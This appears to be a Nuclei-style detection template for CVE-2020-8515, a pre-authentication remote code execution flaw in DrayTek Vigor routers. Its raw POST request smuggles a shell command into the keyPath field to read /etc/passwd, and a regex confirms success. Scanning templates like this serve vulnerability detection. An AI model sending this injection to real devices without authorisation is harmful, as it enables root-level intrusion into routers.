id: CVE-2020-8515

info:
  name: DrayTek pre-auth RCE
  author: pikpikcu
  severity: critical
  description: DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI. This issue has been fixed in Vigor3900/2960/300B v1.5.1.
  reference:
    - https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)
    - https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
  tags: cve,cve2020,rce
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2020-8515
    cwe-id: CWE-78

requests:
  - raw:
      - |
        POST /cgi-bin/mainfunction.cgi HTTP/1.1
        Host: {{Hostname}}

        action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

      - type: status
        status:
          - 200